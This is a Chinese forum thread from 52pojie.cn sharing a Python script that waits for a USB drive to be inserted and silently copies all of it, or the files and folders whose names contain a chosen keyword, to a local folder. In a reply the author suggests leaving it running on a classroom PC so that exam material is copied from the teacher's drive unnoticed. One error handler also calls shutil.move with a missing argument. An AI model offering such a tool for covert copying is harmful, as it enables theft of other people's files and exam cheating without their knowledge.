吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6500|回复: 55
收起左侧

[Python 转载] U盘检测并复制所需的文件

  [复制链接]
山野村夫-陈墨 发表于 2021-7-15 23:55
本帖最后由 山野村夫-陈墨 于 2021-7-16 00:01 编辑

这两天闲来无事,找了个代码修改修改。


功能:
检测计算机中是否插入U盘,如果插入U盘则将对应的数据复制到计算机中。


代码:
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
# [url=home.php?mod=space&uid=238618]@Time[/url] :   2021/7/10
# [url=home.php?mod=space&uid=686208]@AuThor[/url] : 陈墨
# @Software: PyCharm
# @function: 读取U盘的数据

from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)


# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可读、可移动介质
            logger.info("发现USB:%s" % str(item))
            return item.device
    logger.info("没有发现USB")
    return None


# 读取想要的文件  u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 无筛选规则,复制所有
        copytree(src, dst)
        logger.info("复制%s盘USB所有内容到%s" % (src, dst))
    else: # 复制部分
        paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)


if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select="测试", dst=r"F:\usb")
            break
        sleep(1)

免费评分

参与人数 10吾爱币 +14 热心值 +6 收起 理由
hyrzmfjsml + 1 + 1 谢谢@Thanks!
joy8514 + 1 + 1 我很赞同!
56x12 + 1 + 1 用心讨论,共获提升!
pixy1984 + 1 不错
苏紫方璇 + 5 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
thengcee + 1 + 1 谢谢@Thanks!
huiye123 + 1 谢谢@Thanks!
Cool_Breeze + 1 小心爆栈哦!
李杨 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
11559977553300 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 山野村夫-陈墨 发表于 2021-7-16 00:50

比如老师上课前,把程序在教室电脑里面运行起来,老师插入U盘的就可以把考试相关内容拷贝下来。
slbbsreg 发表于 2021-11-1 13:33
python 3.10 run时报错:
Python 3.10.0 (tags/v3.10.0:b494f59, Oct  4 2021, 19:00:18) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.

=============================== RESTART: E:\1.py ===============================
Traceback (most recent call last):
  File "E:\1.py", line 10, in <module>
    from psutil import disk_partitions
ModuleNotFoundError: No module named 'psutil'

dwk1818 发表于 2021-7-16 00:33
liyouqi520 发表于 2021-7-16 00:36
干什么用的?
sbham 发表于 2021-7-16 02:33
不明觉厉,马克一下
11559977553300 发表于 2021-7-16 02:38
评分支持,感谢作者
々繁星闪烁々 发表于 2021-7-16 03:50
很实用呀,非常感谢!
zz1181 发表于 2021-7-16 06:33
腻害了,省得每次都要手动拖
cangyue0609 发表于 2021-7-16 07:36
测试一下,看看拷贝过程中有啥提示没。
pdjfx 发表于 2021-7-16 07:40
测试下怎么复制对应的数据,谢谢楼主分享!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 01:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表